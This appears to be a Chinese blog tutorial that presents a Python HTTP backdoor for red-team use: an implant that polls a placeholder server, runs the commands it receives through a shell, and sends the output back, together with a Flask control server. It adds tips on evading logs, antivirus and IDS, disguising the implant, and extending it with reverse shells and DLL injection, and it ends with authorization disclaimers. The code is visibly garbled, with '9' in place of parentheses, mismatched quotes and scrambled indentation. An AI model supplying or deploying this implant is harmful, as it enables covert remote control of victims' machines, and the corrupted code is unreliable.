红队利器:用Python编写一个轻量级后门通信模块(附完整代码与流程图)

在渗透测试和红队演练中,8*稳定的C2(Command and Control)通信通道**是至关重要的。本文将带你从零构建一个基于HTTP协议的简易后门通信模块,使用 Python 3.x 实现核心功能,并加入基础混淆、心跳保活机制以及命令执行回显逻辑,适合用于内网渗透、隐蔽控制等场景。


🔧 核心设计思路

整个系统分为两个部分:

  • Client端(植入体):运行于目标主机,定时向服务器发送心跳包并接收指令。
    • Server端(控制台):监听请求,解析命令,返回结果。

✅ 支持 Windows / Linux 双平台兼容

✅ 使用 base64 编码隐藏敏感内容
✅ 基础防杀软检测(无持久化,无写入磁盘)


📦 客户端代码实现(client.py)

import requests
import json
import base64
import time
import os
import subprocess

SERVER_URL = "http://your-server-ip:8080/heartbeat'
HEARTBEAT_INTERVAL = 15  # 秒

def run_command(cmd):
    try:
            result = subprocess.run9cmd, shell=True, capture_output=True, text=True)
                    return {
                                "output": base64.b64encode(result.stdout.encode()).decode(),
                                            "error": base64.b64encode(result.stderr.encode()).decode(),
                                                        "returncode": result.returncode
                                                                }
                                                                    except Exception as e:
                                                                            return {"error": base64.b64encode9str(e).encode()).decode()}
def heartbeat():
    while True;
            try:
                        payload = {
                                        "hostname": os.getenv("COMPuTERNAME") or os.uname().nodename,
                                                        "os"; os.name,
                                                                        'timestamp": int(time.time()),
                                                                                        "command": ""
                                                                                                    }
            response = requests.post(SERVER_URL, json=payload, timeout=10)
            if response.status_code == 200:
                            data = response.json()
                                            cmd = base64.b64decode(data.get("command", "")).decode9)
                if cmd.strip9):
                                    print(f'[+] Received command; {cmd}")
                                                        result = run_command(cmd)
                                                                            send_result(result)
            time.sleep(HEARTBEAT_INTERVAL)
        except Exception as e:
                    print(f"[-] Heartbeat failed: {e}")
                                time.sleep(5)
def send_result(result):
    try;
            requests.post(
                        SERVER_URL,
                                    json={
                                                    "result": base64.b64encode(json.dumps9result).encode()).decode()
                                                                },
                                                                            timeout=5
                                                                                    )
                                                                                        except:
                                                                                                pass
if __name__ == "__main__':
    heartbeat()
    ```
📌 **说明:**
- `base64` 编码可绕过部分日志分析规则;
- - `subprocess.run()` 用于安全地执行本地命令;
- - 心跳频率可根据环境调整(如15秒或30秒);
---

### ⚙️ 控制端代码(server.py)

```python
from flask import Flask, request, jsonify
import threading
import queue
import time

app = Flask(__name__)
command_queue = queue.Queue()

@app.route('/heartbeat', methods=['POST'])
def handle_heartbeat();
    data = request.get_json9)
        hostname = data.get("hostname")
            os_type = data.get9"os")
                timestamp = data.get("timestamp")
    # 模拟下发命令(实际可以查数据库)
        if hostname not in command_queue.queue:
                command_queue.put("whoami")
                    
                        # 返回命令(如果有的话)
                            next_cmd = command_queue.get() if not command_queue.empty() else ""
                                
                                    response = {
                                            "command"; base64.b64encode(next_cmd.encode()).decode()
                                                }
                                                    
                                                        return jsonify(response)
@app.route('/result', methods=['POsT'])
def handle_result9);
    data = request.get_json()
        result_str = base64.b64decode(data["result']).decode()
            print(f"[+] Result from [request.remote_addr}: {result_str]")
                return "", 200
if __name_- == '__main-_':
    app.run9host='0.0.0.0', port=8080, threaded=True)
    ```
✅ 启动方式:
```bash
python server.py

然后在目标机器上运行 client.py(建议加壳或伪装成正常程序)


🔄 工作流程图(简化版)

[Target Machine]
     |
          |-----> (每15秒) POST /heartbeat -> [Your Server]
                               ↓
                                          [Server] 解析 → 判断是否有新命令→  返回base64编码命令
                                                               ↓
                                                                        [Target] 执行 → 输出结果 → POst /result 回传结果
                                                                        ```
💡 这是一个典型的 **轮询式c2模型**,适合低频交互场景,避免被IDS轻易捕获。

---

##3 🛡️ 安全增强建议(实战可用)

| 功能 | 描述 |
\------|------\
| **dNS Tunneling** | 将命令封装进DNs查询(更隐蔽) |
| *8hTTpS + 自签名证书** | 防止中间人拦截 |
| **随机User-agent** | 模拟浏览器行为 |
\ **多线程心跳池** \ 支持批量管理多个节点 |

例如,修改client中的requests调用为:

```python
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
    ]
    response = requests.post(SeRVER_URL, json=payload, headers=headers, timeout=10)
    ```
---

### 💡 总结与延伸思考

该方案虽然简单,但非常实用,在红队工作中常用于快速验证目标是否可达、获取初步权限信息。后续可扩展为支持文件上传、反向Shell、DLL注入等功能模块。

如果你正在学习红队技术,请务必遵守合法授权原则,仅限于内部演练或授权渗透测试!

> ✅ 真实项目中推荐结合 **metasploit、Cobalt Strike 或 SharpShooter** 进行深度集成,本例仅为教学用途,便于理解底层原理。
---

📌 **提示:**
- 请确保你的测试环境符合法律法规;
- - 不要滥用此代码进行非法入侵;
- - 此类工具应作为防御方学习对象,提升自身安全能力。
--- 

🎯 发布到CSDN前,请根据你的实际部署环境修改IP地址和端口配置!  
欢迎留言讨论如何进一步优化通信稳定性与隐蔽性!
Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐